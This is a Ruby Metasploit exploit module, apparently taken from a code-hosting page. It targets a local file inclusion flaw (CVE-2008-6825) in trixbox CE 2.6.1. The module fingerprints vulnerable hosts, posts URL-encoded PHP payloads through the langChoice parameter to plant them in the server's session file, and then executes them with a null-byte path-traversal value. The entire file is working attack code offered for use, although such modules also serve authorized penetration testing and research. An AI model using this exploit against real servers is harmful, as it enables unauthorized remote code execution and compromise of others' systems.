184 lines
6.0 KiB
Ruby
184 lines
6.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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# -*- coding: utf-8 -*-
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ManualRanking
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PHPSESSID_REGEX = /(?:^|;?)PHPSESSID=(\w+)(?:;|$)/
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Trixbox langChoice PHP Local File Inclusion',
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'Description' => %q{
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This module injects php into the trixbox session file and then, in a second call, evaluates
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that code by manipulating the langChoice parameter as described in OSVDB-50421.
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},
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'Author' => ['chao-mu'],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['OSVDB', '50421'],
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['CVE', '2008-6825'],
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['BID', '30135'],
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['EDB', '6026' ],
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['URL', 'http://www.trixbox.org/']
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],
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'Payload' =>
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{
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# max header length for Apache (8190),
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# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
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# minus 23 for good luck (and extra spacing)
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'Space' => 8190 - 23,
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'DisableNops' => true,
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'Compat' =>
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{
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'ConnectionType' => 'find',
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},
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'BadChars' => "'\"`" # quotes are escaped by PHP's magic_quotes_gpc in a default install
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},
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'Targets' => [['trixbox CE 2.6.1', {}]],
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'DefaultTarget' => 0,
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'DisclosureDate' => 'Jul 09 2008'
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))
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register_options(
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[
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OptString.new('URI', [true, 'The uri that accepts the langChoice param', '/user/index.php']),
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OptString.new('PATH', [true, 'The path where the php was stored', '../../../../../../../../../../tmp/sess_!SESSIONID!%00']),
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])
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end
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def check
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# We need to ensure that this can be reached via POST
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uri = normalize_uri(datastore['URI'])
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target_code = 200
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vprint_status "Attempting to POST to #{uri}"
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response = send_request_cgi({'uri' => uri, 'method' => 'POST'})
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unless defined? response
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vprint_error 'Server did not respond to HTTP POST request'
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return Exploit::CheckCode::Unknown
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end
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code = response.code
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unless code == target_code
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vprint_error "Expected HTTP code #{target_code}, but got #{code}."
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return Exploit::CheckCode::Safe
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end
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vprint_status "We received the expected HTTP code #{target_code}"
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# We will need the cookie PHPSESSID to continue
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cookies = response.get_cookies
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# Make sure cookies were set
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if defined? cookies and cookies =~ PHPSESSID_REGEX
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vprint_good "We were successfully sent a PHPSESSID of '#{$1}'"
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else
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vprint_error 'The server did not send us the cookie we were looking for'
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return Exploit::CheckCode::Safe
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end
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# Okay, at this point we're just being silly and hackish.
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unless response.body =~ /langChoice/
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vprint_error 'The page does not appear to contain a langChoice field'
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return Exploit::CheckCode::Safe
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end
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# XXX: Looking for a good way of determine if it is NOT trixbox
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# unless response.body.match(/trixbox - User Mode/)
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# print_status 'The target does not appear to be running trixbox'
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# return Exploit::CheckCode::Safe
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# end
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# print_status 'The target appears to be running trixbox'
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# If it has the target footer, we know its vulnerable
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# however skining may mean the reverse is not true
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# We've only tested on v2.6.1, so that is all we will guarantee
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# Example footer: v2.6.1 ©2008 Fonality
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# if response.body =~ /(v2\.(?:[0-5]\.\d|6\.[0-1]))\s{2}©200[0-8] Fonality/
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if response.body =~ /(v2\.6\.1)\s{2}©2008 Fonality/
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vprint_status "Trixbox #{$1} detected!"
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return Exploit::CheckCode::Appears
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end
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vprint_status 'The target may be skinned making detection too difficult'
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if response.body =~ /trixbox - User Mode/
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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# We will be be passing this our langChoice values
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uri = normalize_uri(datastore['URI'])
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# Prepare PHP file contents
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encoded_php_file = Rex::Text.uri_encode("<?php #{payload.encoded} ?>")
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# Deliver the payload
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print_status('Uploading the payload to the remote server')
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delivery_response = send_request_cgi({
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'uri' => uri,
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'method' => 'POST',
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'data' => "langChoice=#{encoded_php_file}%00"
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})
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# The call should return status code 200
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if delivery_response.code != 200
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fail_with(Failure::NotFound, "Server returned unexpected HTTP code #{delivery_response.code}")
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end
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print_status "The server responded to POST with HTTP code #{delivery_response.code}"
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# We will need the cookie PHPSESSID to continue
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cookies = delivery_response.get_cookies
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# Make sure cookies were set
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if cookies.nil?
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fail_with(Failure::NotFound, 'The server did not set any cookies')
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end
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# Contents of PHPSESSID. About to be set.
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session_id = nil
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# Retrieve the session id from PHPSESSID
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if cookies =~ PHPSESSID_REGEX
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session_id = $1
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else
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fail_with(Failure::NotFound, 'The cookie PHPSESSID was not set.')
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end
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print_status "We were assigned a session id (cookie PHPSESSID) of '#{session_id}'"
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# Prepare the value that will execute our payload
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detonation = datastore['PATH'].sub('!SESSIONID!', session_id)
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print_status "We will use '#{detonation}' as the value of langChoice to detonate the payload"
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# Request the detonation uri, detonating the payload
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print_status 'Attempting to detonate. You will need to clean /tmp/ yourself.'
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# Small timeout as we're just going to assume we succeeded.
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send_request_cgi({
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'uri' => uri,
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'cookie' => cookies,
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'method' => 'POST',
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'data' => "langChoice=#{detonation}%00"
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}, 0.01)
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handler
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end
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end
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